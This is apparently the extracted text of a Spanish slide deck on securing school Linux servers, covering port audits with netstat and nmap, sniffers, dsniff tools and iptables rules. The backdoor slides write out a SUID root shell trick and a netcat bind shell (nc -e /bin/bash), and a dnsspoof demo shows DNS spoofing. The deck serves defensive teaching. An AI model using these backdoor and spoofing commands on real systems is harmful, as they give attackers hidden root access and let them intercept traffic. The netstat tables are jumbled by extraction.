Redes
Conceptos de redes Seguridad bsica del S.O. Servicios de red sniffers y anlisis de protocolos iptables Dispositivos de red
Conceptos de redes
Configuracin ideal
trfico de entrada/salida de la red local debera atravesar un nico punto capacidad de filtrado del trfico deseado capacidad de logging de las actividades de los usuarios nico punto de entrada hacia la red interna hace ms facil detectectar y protegerse de amenazas internas
Conceptos de redes
Configuracin ideal
ROUTER <-> SERVIDOR <-> LAN Router y servidor conectados a LAN por igual Clientes obligados por SW a pasar por el servidor Clientes que no quieran pueden salir por el router Ataques externos van del router hacia la mquina directamente, evitando la
Configuracin actual
Conceptos de redes
Configuracin actual
Soluciones: Asegurar el servidor y los clientes con reglas de filtrado Usar logging en los clientes para detectar posibles intentos de ataque difcil comprobar logs dispersos en los clientes -> agregacin de logs con syslog Usar IDS junto al router?
Conceptos de redes
Puertos
Abiertos, a la escucha. Tienen un programa asociado. Cerrados. No hay ningn programa asociado -> no suponen amenaza. Abiertos, conectados. Son privados a la conexin y se cierran al terminar sta -> no suponen amenaza.
Los servicios abren puertos, ponindose a la escucha esperando conexiones de los usuarios
Conceptos de redes
Cuando un programa se pone a la escucha, lo hace en un puerto y en una o ms direcciones/interfaces (cada interfaz tiene una direccin de red)
servidores locales que slo son accesibles desde localhost servidores de red que son accesibles desde los interfaces de red, como ethernet.
net/ipv4/conf/all/rp_filter = 1 Deshabilita la triangulacin de routing. Las consultas se responden en el mismo interfaz, no en otro. net/ipv4/conf/all/log_martians = 1
Este fichero se lee al arrancar Si se modifica y se quieren aplicar los cambios inmediatamente:
# sysctl -p
Servicios de red
El primer paso al asegurar los servicios de red ofrecidos es eliminar aquellos que no son necesarios, ya que suponen una amenaza intil.
#netstat --inet -lp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address PID/Program name tcp tcp ... 0 0 0 localhost:872 0 *:zope *:* *:* Foreign Address LISTEN LISTEN State 2392/famd 2374/python2.2
Servicios de red
Proto: indica el protocolo, TCP o UDP Local Address: direccin de red y nmero de puerto en el que est el servicio
localhost indica que el servicio solo es accesible desde la propia mquina, por lo que no supone una amenaza * indica que escucha en todos los interfaces de la mquina
Servicios de red
Foreign Address: casi siempre *:* (posible backdoor si no) PID/Program name: PID y nombre del programa
backdoors
backdoor o puerta trasera: punto de entrada a un sistema que deja abierto un atacante en el sistema atacado para poder volver a entrar cuando desee, saltndose de algn modo el sistema de seguridad.
Hay muchos tipos segn los sistemas de seguridad que pretendan evitar:
Aadir una cuenta con privilegios de root en /etc/passwd Dejar un servidor de shell abierto en un puerto no estndar Dejar en algn directorio un ejecutable SUID ...
backdoors
# cp /bin/sh /tmp/ # chmod 4755 /tmp/sh # ls -al /tmp/sh -rwsr-xr-x 1 root root 628684 2006-05-06 13:59 /tmp/sh $ whoami aduran $ /tmp/sh # whoami root
backdoors
En una sesin el la mquina atacada, dejamos preparado un servidor de shell: # nc -l -p 2000 -e /bin/bash Desde fuera, conectamos al servidor:
Servicios de red
Pasos a realizar
netstat del servidor y de los clientes Ver programas necesarios y no necesarios Parar los servicios no necesarios Restringir el acceso a la red local a los servicios que no requieran accesos desde el exterior Actualmente ya hecho, con tcp wrappers Mejor con iptables (logging, mayor control, etc)
Servicios de red
elbrocense:/var/www# netstat --inet -nlp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address name tcp tcp tcp tcp tcp tcp 0 0 0 0 0 0 0 0.0.0.0:2049 0 0.0.0.0:962 0 0.0.0.0:37 0 0.0.0.0:389 0 127.0.0.1:935 0 0.0.0.0:42986 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* Foreign Address LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN 26644/rpc.statd 1133/inetd 1075/slapd 1183/famd State PID/Program
Servicios de red
tcp tcp tcp tcp tcp tcp tcp tcp tcp tcp tcp tcp
0 0 0 0 0 0 0 0 0 0 0 0
0 0.0.0.0:3306 0 0.0.0.0:42987 0 0.0.0.0:139 0 0.0.0.0:9999 0 0.0.0.0:111 0 0.0.0.0:80 0 0.0.0.0:53 0 0.0.0.0:21 0 0.0.0.0:631 0 0.0.0.0:3128 0 0.0.0.0:825 0 127.0.0.1:6010
0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:*
LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN
1265/mysqld 26667/rpc.mountd 1158/smbd 1133/inetd 831/portmap 1298/apache 4554/dnsmasq 1133/inetd 1115/cupsd 1206/(squid) 1069/rpc.rquotad 4536/101
Servicios de red
tcp tcp tcp udp udp udp udp udp udp udp udp
0 0 0 0 0 0 0 0 0 0 0
0 127.0.0.1:6011 0 127.0.0.1:6012 0 127.0.0.1:6013 0 0.0.0.0:2049 0 0.0.0.0:32772 0 0.0.0.0:32948 0 0.0.0.0:53 0 0.0.0.0:822 0 0.0.0.0:32951 0 0.0.0.0:32952 0 0.0.0.0:3130
0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:*
Servicios de red
0 0 0 0 0 0 0
Servicios de red
Puerto 2049 TCP, sin nombre de programa. Que es? Google dice que NFS. Comprobamos: # rpcinfo -p |grep nfs 100003 2 udp 2049 nfs 100003 3 udp 2049 nfs 100003 4 udp 2049 nfs 100003 2 tcp 2049 nfs 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs
Servicios de red
Puerto 962 TCP: statd, necesario para el corecto funcionamiento de NFS. Necesario en LAN. Puerto 37 TCP: inetd, el superservidor de Internet. Encargado de abrir los puertos para los programas configurados para usarlo. En este caso, el puerto 37 representa el servicio horario:
time
stream tcp
nowait root
internal
Servicios de red
Puerto 935 TCP: famd. File alteration monitor daemon. Solo binded en localhost. Puerto 42986, sin nombre de programa. Comprobamos si tiene algo que ver con RPC: # rpcinfo -p|grep 42986 100021 1 tcp 42986 nlockmgr 100021 3 tcp 42986 nlockmgr 100021 4 tcp 42986 nlockmgr Necesario en LAN
Servicios de red
Puerto 3306 TCP: mysqld, servidor Mysql binded en 0.0.0.0 Normalmente, slo uso desde localhost: Quitar la opcin de red de Mysql Opcin skip-networking en /etc/mysql/my.cnf Restringir el acceso con iptables a slo los hosts necesarios
Servicios de red
Puerto 42987: mountd, para que los clientes puedan montar los directorios del servidor. Necesario en LAN. Puerto 9999 TCP: inetd. Comprobamos la configuracin:
# cat /etc/inetd.conf|grep 9999 9999 stream tcp nowait.400 aptproxy /usr/sbin/tcpd /usr/sbin/apt-proxy -l /var/log/apt-proxy.log Es Apt-Proxy, slo necesario en LAN
Servicios de red
Puerto 139 TCP: netbios, para SAMBA. Si no necesitamos exportar recursos desde el servidor, deberamos desactivarlo. En caso contrario, restringirlo a la LAN. Eliminar su uso: # /etc/init.d/samba stop # rm /etc/rc2.d/S20samba
Servicios de red
Puerto 111 TCP: portmapper. Demonio para RPC (Remote Procedure Call), protocolo mediante el cal funcionan servicios como NFS. Necesario en LAN. Puerto 80 TCP: Apache, servidor Web. Depender del uso si necesitamos que pueda ser accesible desde fuera.
Servicios de red
Puerto 53 TCP: dnsmasq, servidor DHCP y DNS. Usa este puerto sobre todo para transferencias de zona (trfico normal DNS es UDP)
Servicios de red
# cat /etc/inetd.conf|grep ftp ftp stream tcp /usr/sbin/wu-ftpd -l nowait root /usr/sbin/tcpd
nowait root
/usr/sbin/tcpd
Servicios de red
Puerto 21 TCP: inetd. FTP usa el puerto 21 TCP: Puerto 631: cupsd, servidor de impresin. No es necesario en el servidor, lo eliminamos:
Servicios de red
Puerto 825: rpc.rquotad, servidor para que los clientes conozcan las cuotas de los usuarios. Necesario en LAN. Puerto 2049 UDP: NFS Puerto 32772 UDP: Squid Puerto 32948 UDP: nlockmgr, para NFS Puerto 822 UDP: rpc.rquotad
Servicios de red
Puerto 32951 UDP: rpc.mountd Puerto 32952 UDP: dnsmasq Puerto 3130 UDP: Squid Puertos 956 y 959 UDP: rpc.statd Puerto 67 UDP: dnsmasq, para DHCP. Puerto 111 UDP: portmapper Puerto 123 UDP: ntpd, para sincronizar la hora
Servicios de red
netstat nos da informacin sobre la red desde dentro de la propia mquina -> es necesario comprobar como se ven las cosas desde fuera Uso de nmap para obtener informacin sobre mquinas y/o redes
nmap es una herramienta de exploracin de puertos y ms Informa de los puertos abiertos que tiene una mquina Puede explorar subredes completas en busca de determinados puertos abiertos
Servicios de red
$nmap localhost Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 200605-05 19:52 CEST Interesting ports on localhost (127.0.0.1): (The 1658 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind
Servicios de red
La salida de nmap muestra el nombre del servicio basado en el contenido del fichero /etc/services
No siempre es real el valor, ya que hay aplicaciones que no usan puertos estndar.
En el uso ms simple, no se comprueban todos los puertos, sino algunos considerados los ms comunes Para comprobarlos todos:
Servicios de red
-sU hace un scan UDP -sT hace un scan TCP normal (connect scan)
-sS hace un SYN scan -sP hace un Ping scan -p 1- 65535 indica que se comprueben todos los puertos existentes
Servicios de red
Al realizar la exploracin desde localhost, los resultados obtenidos no sern necesariamente los mismos que si lo hacemos desde otra mquina de la red.
Los servicios pueden escuchar slo en los interfaces externos. Las reglas iptables se aplican en determinados interfaces y/o direcciones
Servicios de red
ddprog:/home/aduran# nmap -sT -p 1-65535 www Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2006-05-09 13:40 CEST Interesting ports on elbrocense.elbrocense.ex (172.19.232.2): (The 65520 ports scanned but not shown below are in state: closed) PORT 21/tcp 22/tcp 37/tcp STATE SERVICE open ftp open ssh open time
Servicios de red
53/tcp 80/tcp
111/tcp open rpcbind 389/tcp open ldap 825/tcp open unknown 962/tcp open unknown 2049/tcp open nfs 3128/tcp open squid-http 3306/tcp open mysql 9999/tcp open abyss 42986/tcp open unknown 42987/tcp open unknown
Servicios de red
Puertos filtrados
Puertos UDP
ssh
Tanto en el servidor como en los clientes, deberamos restringir el acceso por ssh al usuario root y al usuario del LDAP administrador, si lo cree necesario.
Fichero /etc/ssh/sshd_config:
IgnoreRhosts yes
apache
Restringir el acceso al mbito del IES de quellos recursos que necesiten dicha proteccin
Utilizas restricciones de acceso de algn tipo dentro del propio IES para los datos que lo requieran
apache
apache
# htpasswd -c /etc/apache/users adt Crear un fichero .htaccess en el directorio que queremos proteger
apache
ftp
FTP es un protocolo inseguro, ya que usa autenticacin en texto plano, y cualquiera con un sniffer puede averiguar las contraseas -> Uso de scp, ms seguro Si es necesario para los usuarios, restringir su uso a quellos que lo requieran
Denegacin de servicio
Los ataques de denegacin de servicio intentan evitar el normal funcionamiento de los servicios ofrecidos, colapsando algunos o todos los recursos del servidor
SYN Flood
Ping Flood
Denegacin de servicio
Ataques contra el servidor web inundndolo de peticiones Llenar el espacio de disco -> importante usar cuotas Usar fallos en los programas que permitan interrumpir sus servicios
Que es un snnifer?
Es un programa que permite obtener el trfico que circula por un interfaz de red. Visin orientada a concentradores. Es un programa que permite obtener el trfico que circula por la red. Visin orientada a conmutadores. Es un programa que permite obtener el trfico que circula por las redes. Vision orientada a wifi.
Lo primero es saber que estamos buscando: si vamos a usar un sniffer normalmente ser para ayudarnos en la solucin de algn problema, o para buscar un derminado tipo de trfico potencialmente peligroso. Conocer, al menos en parte, el funcionamiento del protocolo de red con el que estemos trabajando:
El interfaz recoge todos los paquetes que pasan por l, incluyendo aquellos que no van dirigidos a su direccin MAC ni a la de difusin. til en redes en bus: hubs. Desde un ordenador podemos ver todo el trfico del segmento compartido de la red. En los I.E.S, red conmutada: switches. A una mquina slo llegan los paquetes que van destinados a ella. No podemos ver el trfico completo de la red. Posibles soluciones:
En los I.E.S, red conmutada: switches. A una mquina slo llegan los paquetes que van destinados a ella. No podemos ver el trfico completo de la red. Posibles soluciones:
Observar el trfico en un punto central: todos los clientes salen a Internet por el servidor, miramos alli el trfico. Problemas:
no detecta si alguien configura su ruta de salida por el router. Solucin: Conectar un hub entre el router y la red y poner en l el ordenador con el sniffer. no detecta trfico interno a la red local.
El trfico wifi circula por el aire Cualquiera con una tarjeta wireless puede obtener el trfico que circule cerca, incluso de varias redes a la vez (channel hopping) Uso de encriptacin en todo el trfico que circula por la red wifi: WEP: no es seguro, muy fcil de crackear. WPA: mucha mejor seguridad que WEP, mediante el empleo de PSK (secreto compartido)
tcpdump
tcpdump: snnifer csico en GNU/Linux, disponible en todas las distribuciones. Uso en modo texto por consola. Rpido y facil de usar en remoto. En general, til para saber si los paquetes llegan o no llegan, pero menos para mirar dentro de los paquetes.
tcpdump
Muestra algunos o todos los paquetes que pasan por un interfaz de red. El rango de paquetes capturados puede especificarse usando una combinacin de operadores lgicos y parmetros como el origen o destino IP, el tipo de protocolo o el nmero de puerto. Los paquetes capturados pueden guardarse en formato binario a un fichero, o pueden mostrarse por pantalla. Los ficheros escritos deben ser ledos con tcpdump (u otros programas que soporten el estndar pcap)
tcpdump
Mostrar slo los paquetes con origen o destino en una direccin o nombre de mquina determinados:
Mostrar slo los paquetes con origen en una direccin o nombre de mquina determinado:
tcpdump
tcpdump
Combinacin de condiciones:
tcpdump dst port 80 and source 192.168.1.1 #tcpdump -l #tcpdump -t #tcpdump -nlt [filtro]
No mostrar timestamps:
Formato recomendado:
tcpdump
Timestamp: 15:22:41.400299 Direccin origen: orac.erg.abdn.ac.uk Puerto origen: 1052 Direccin destino: 224.2.156.220 Puerto destino: 57392 Protocolo: udp Tamao: 110
tcpdump
Timestamp: 16:23:01.079553 Direccin origen: churchward.erg.abdn.ac.uk Puerto origen: 33635 Direccin destino: gordon.erg.abdn.ac.uk Puerto destino: 32772 Indica que la PUSH flag est puesta (P)
tcpdump
Nmero de secuencia: 12765 Contiene bytes de datos desde el nmero de secuencia hasta 12925, sin incluirlo. Nmero de bytes de datos en el datagrama (160) Detalles de asentimientos, tamao de ventana y flags de la cabcera: ack 19829 win 24820 (DF)
tcpdump
Formato de salida
Se puede hacer que tcpdump ofrezca ms informacin:
Tambin se puede aumentar el snaplen, que representa el tamao mximo del paquete que decodifica tcpdump. Esto puede hacer que en la captura veamos paquetes que terminan con [|rip] o [|domain]. Para aumentar el tamao por defecto:
tcpdump -s tamao_en_bytes
tcpdump
Comprobar si un cliente conecta con el servidor DNS que debe, y ver el resultado de las consultas. Ver como se cierra una conexin TCP por el uso de los TCP Wrappers. Ping a Internet a travs del servidor: viendo los redirects.
ethereal
ethereal es un sniffer con un interfaz grfico ms adecuado para visualizacin del contenido de los paquetes. Como desventaja, necesita de un entorno grfico para funcionar. No es grave, ya que se puede usar un entorno remoto. Dispone de una cantidad enorme de definiciones de protocolos, facilitando el anlisis de los datos.
ethereal
Al igual que tcpdump, ethereal puede trabajar capturando paquetes de un interfaz, o abriendo un fichero de datos existente. Para realizar una nueva captura, pinchamos en el men Capture->Start, y aparece un dilogo para configurar las opciones de la captura.
ethereal
interfaz: selecciona el interfaz de donde queremos capturar paquetes. Capturar paquetes en modo promiscuo: poco til en redes conmutadas. Filtro: filtro igual al usado en tcpdump. Actualizar vista de paquetes mientras dura la captura. Activar resolucin de nombres: desaconsejado por el trfico adicional generado.
ethereal
Lista de paquetes capturados. Pueden ordenarse por varios campos. Detalle decodificado del datagrama seleccionado. Muestra, para cada capa de protocolos presente en el paquete, el contenido de todas sus opciones. Esta es la parte interesante al analizar protocolos. Detalle en hexadecimal y ASCII del datagrama seleccionado.
ethereal
Primero aparce informacin del datagrama en general, como su tamao o cuando se captur. A continuacin van aparenciendo los datos de los distintos protocolos que contiene el paquete:
ethereal
Ponemos ethereal capturando paquetes con puerto destino 389 TCP. Comprobamos paso a paso el dilogo LDAP:
Operacin BIND
Operacin SEARCH
ethereal
Ethereal tambin puede recomponer conexiones de algunos protocolos para mostrar los datos de manera ms accesible. Por ejemplo: boton derecho->Follow TCP Stream sobre un paqute de una conexin HTTP, nos mostrar una ventana con la conversacin HTTP entre cliente y servidor en modo texto, juntando todos los paquetes de la conexin.
dsniff
dsniff es una coleccin de herramientas para realizar auditoras de red y penetration testing.
dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, y webspy escuchan pasivamente buscando contraseas arpspoof, dnsspoof, y macof facilitan la recepcin de trfico en redes conmutadas sshmitm and webmitm implementan ataques de MITM contra ssh y https
dsniff
Todo el trfico que se destina a la pasarela se hace pasar antes por el host que ejecuta arpspoof, mediante ARP poisoning.
dsniff
Todo el trfico que se destina a la pasarela se hace pasar antes por el host que ejecuta arpspoof, mediante ARP poisoning.
#tcpdump -nlt
dsniff
Hace que creamos que conectamos a una mquina cuando en realidad conectamos a otra
Suplantar una mquina para conseguir clave de root Falsea respuestas DNS
dnsspoof
# dnsspoof -i lo -f /root/hosts dnsspoof: listening on lo [udp dst port 53 and not src 127.0.0.1] 172.19.232.10.32780 > 62.81.0.1.53: 31753+ A? google.com
dsniff
#cat /root/hosts 172.19.232.13 google.com # host google.com google.com has address 172.19.232.13 #tcpdump -nl 13:01:09.830481 IP 172.19.232.10.32780 > 62.81.16.197.53: 30399+ A? google.com. (28) 13:01:09.830562 IP 62.81.16.197.53 > 172.19.232.10.32780: 30399 1/0/0 A 172.19.232.13 (44)
iptables
Filtrado de paquetes
Cabecera (header). Origen, destino, tipo de paquete... Cuerpo (body). Datos reales transmitidos. Usan el concepto de conexin Paquetes de setup de la conexin antes del envo de datos reales.
iptables
NAT Redireccin de puertos Modificacin de paquetes Integracin con otras herramientas: con iptables+iproute2 podemos tener reservas de ancho de banda por aplicaciones.
iptables
Actualmente, en los IES se usa sobre todo para hacer redireccin de puertos y NAT en el servidor:
Hacer que los clientes pasen por Squid Hacer que los clientes slo puedan usar los servidores POP y SMTP de la Junta. ControlAula incluye una regla para solo permitir acceso VNC al profesor.
iptables
Al poder hacer muchas cosas, iptables es bastante complejo. Vemos una introduccin que nos permita:
Entender los scripts usados Crear nuevas reglas para proteger servicios o redirigir trfico. Establecer una poltica ms segura que la usada actualmente
iptables
iptables es lo que conoce como statefull firewall. Esto significa que realiza un seguimiento de las conexiones, sabiendo que paquetes pertenecen a cada conexin (ms seguro y ms rapido)
Slo se comprueba contra las reglas el primer paquete de la conexin Una vez permitido este paquete, y establecida la conexin, los siguientes paquetes de la misma se permiten por pertenecer a la misma conexin.
iptables
Comando iptables
iptables
Todos los paquetes pasan por una serie de tablas (colas) para ser procesados. Cada tabla se dedica a un cometido distinto:
mangle: transformaciones de los paquetes filter: filtrado de paquetes. Tiene 3 cadenas predeterminadas:
iptables
http://www.siliconvalleyccie.com/linuxhn/iptables-intro.htm
iptables
El kernel empieza con tres listas de reglas en la tabla filter, llamadas cadenas (chains): INPUT, OUTPUT, FORWARD
iptables
Cuando un paquete alcanza uno de los crculos del dibujo, se examina esa cadena para decidir el destino del paquete
Si la cadena dice que se tire (DROP) el paquete, ste muere aqu, pero si se acepta (ACCEPT), sigue atravesando el diagrama
iptables
Cada regla dice: si la cabecera del paquete es as, hacer esto con el paquete. Si la regla no coincide con el paquete, se examina la siguiente regla de la cadena Finalmente, si no quedan ms reglas que consultar, el kernel mira a la poltica (POLICY) de la cadena para decidir que hacer con el paquete.
En un sistema seguro, la poltica suele decir al kernel que tire el paquete En los I.E.S. tenemos poltica de aceptar por defecto, en clientes y servidor
iptables
Cuando llega un paquete, primero el kernel mira su destino: esto se llama enrutamiento (routing) Si est destinado a esta mquina, el paquete baja a la cadena INPUT. Si la pasa, el paquete llegar al proceso que lo est esperando Si no, si el forwarding no est activado, o el kernel no sabe como reenviar el paquete, el paquete se tira
iptables
Si el forwarding est activado, y hay que reenviar el paquete, ste pasa a la cadena FORWARD. Si se acepta, el paquete se reenva. Un programa que se ejecuta en la mquina local puede enviar paquetes. stos pasan inmediatamente por la cadena OUTPUT. Si se acepta, el paquete continua su camino hacia el interfaz al que fuera destinado.
iptables
Comando tipo:
Accin: aadir, borrar, insertar ... Cadena: cadena donde realizar la accin Target: destino para los paquetes que coincidan con la regla:
ACCEPT y DROP: Aceptar y tirar SNAT, DNAT, MASQUERADE: Traducccin de direcciones REJECT: Rechazar LOG: registrar
iptables
Crear una nueva cadena (-N) Borrar una cadena vaca (-X) Cambiar la poltica de una cadena (-P) Listar las reglas en una cadena (-L) Eliminar las reglas de una cadena (-F) Borrar los contadores de todas las reglas de una cadena (-Z)
iptables
Aadir una nueva regla a la cadena (-A) Insertar una regla en una posicin determinada de la cadena (-I) Reemplazar una regla en alguna posicin de la cadena (-R) Borrar una regla en alguna posicin de la cadena (-D) Borrar la primera regla que coincida en una cadena (-D)
iptables
Aadir reglas
iptables -A ...
Borrar reglas
iptables -D ...
iptables
-s indica direccin de origen -p icmp indica protocolo ICMP -j DROP hace que se tire el paquete Nota: no se usa REJECT en ICMP para evitar tormentas ICMP: Paquete ICMP malo Paquete ICMP de respuesta malo para el otro lado El otro lado vuelve a enviar un paquete ICMP malo ....
iptables
Especificaciones de filtrado. Opciones que se usan para especificar las caractersticas de los paquetes
-s, --source, --src: direccin origen del paquete -d, --destination, --dst: direccin destino del paquete
nombre DNS (linex.org) direccin IP (127.0.0.1) Grupos de direcciones, usando mscaras (172.19.232.0/22, 172.19.232.0/255.255.252.0)
Pueden especifcarse:
iptables
Especificaciones de filtrado. Opciones que se usan para especificar las caractersticas de los paquetes
Especificando inversin
Muchas opciones, incluyendo origen y destino, pueden tener los argumentos precedidos de ! (negacin) para flitrar direcciones distintas de las proporcionadas
-s ! localhost
Protocolo
iptables
Especificaciones de filtrado. Opciones que se usan para especificar las caractersticas de los paquetes
Interface
-i o in-interface: interfaz de entrada -o out-interface: interfaz de salida Los paquetes que atraviesan INPUT no tienen interfaz de salida. Los de OUTPUT no lo tienen de entrada. Slo los de FORWARD tienen los dos.
Se pueden usar interfaces no existentes en las reglas (se activarn al levantar el interfaz)
iptables
-m multiport sport <port, port...> -m multiport dport <port, port...> -m multiport ports <port, port...> -m state state <estado>
iptables
Extensiones
despues de la opcin -p
Extensiones TCP
iptables
Extensiones TCP
Denegando el establecimiento de conexiones desde una mquina que hace de servidor y no debera iniciar conexiones:
iptables
Extensiones UDP
--sport, --source-port, --dport, --destination-port puerto/rango puertos --icmp-type tipo ICMP [nmerio o por nombre (-p icmp --help)]
Extensiones ICMP
iptables
Targets de las reglas: que hacer con el paquete cuando coincida con la regla
Ls mas simples:
DROP y ACCEPT se puede hacer que el paquete pase a otra cadena de reglas definida por el usuario si cumple una condicin
iptables
--log-level --log-prefix Como DROP, pero se enva un mensaje ICMP de port unreachable, en UDP, o un RESET, en TCP.
REJECT
iptables
AL no haber opcin -t, se usa la tabla por defecto, filter. INPUT indica que la regla debe aplicarse al trfico cuyo destino es local. -p tcp indica que la regla debe aplicarse a paquetes TCP. --dport 21 indica que la regla debe aplicar a paquetes con puerto destino 21. -j DROP indica la accin a realizar con el paquete, en este caso tirarlo. Las opciones son: ACCEPT, DROP, REJECT, REDIRECT y MASQUERADE (slo para la tabla nat)
iptables
-t nat usar la tabla de nat PREROUTING, el cambio de puerto hay que hacerlo antes de enrutar. REDIRECT, hace que el paquete sea redirigido a otro puerto en la misma mquina. --to-port 3128 hace que el paquete sea redirigido al puerto 3128.
iptables
Borrar reglas
Se especifica la misma regla, cambiando -A por -D. Borra la primera regla de la cadena
iptables -D INPUT 1
iptables
iptables -F
elimina las reglas de filtrado, ya que por defecto se usa la tabla filter. elimina las cadenas definidas por el usuario resetea los contadores elimina las reglas de NAT.
iptables -X
iptables -Z
iptables -t nat -F
iptables
Estas reglas se aplican a los paquetes que no coinciden con ninguna regla.
iptables
Mostrar reglas
iptables
$nc 172.21.232.2 22
Todo lo que escribas se manda al servidor remoto, y todo lo que el servidor enve se muestra por pantalla.
iptables
Poner netcat escuchando en el puerto 5900 (VNC) en un alumno. $netcat -l -p 5900 Comprobar que desde otro alumno no podemos acceder al servicio: $netcat aula-o01 5900
iptables
Logging
iptables puede hacer logging de paquetes a /var/log/messages Las reglas de log no pueden tirar paquetes, por lo que es comn ver dos reglas iguales seguidas, asi:
iptables
Logging
mucha informacin de log, debido a los broadcasts Mejor loguear slo lo que viene a la mquina:
iptables
Permitir acceso al resto de los servicios slo desde la LAN Loguear todos los intentos de apertura de conexiones, para tener informacion en caso de problemas
iptables
#iptables -A INPUT -i eth0 -s ! ab201-pro -p tcp --destination-port 5900 -j LOG #iptables -A INPUT -i eth0 -s ab201-pro -p tcp --destination-port 5900 -j ACCEPT # iptables -A INPUT -i eth0 -s ! 172.19.232.0/22 -m state --state NEW -j LOG # iptables -A INPUT -i eth0 -s 172.19.232.0/22 -m state -j ACCEPT # iptables -P INPUT DROP # iptables -P OUTPUT ACCEPT
iptbales
Restringir el acceso a todos los servicios locales a la red local, permitiendo slo el acceso desde el exterior via HTTP Asegurar, como ya se vi, los directorios privados de /var/www Loguear todos los inicios de conexin que se hagan hacia el servidor
iptbales
# iptables -A INPUT -i eth0 -s 172.19.232.0/22 -m state --state NEW -j ACCEPT # iptables -A INPUT -i eth0 -m state --state NEW -p tcp --destination-port 80 -j ACCEPT #iptables -A INPUT -i eth0 -p tcp --destination-port ! 80 -j LOG #iptables -P INPUT DROP #iptables -P OUTPUT ACCEPT #iptables -P FORWARD ACCEPT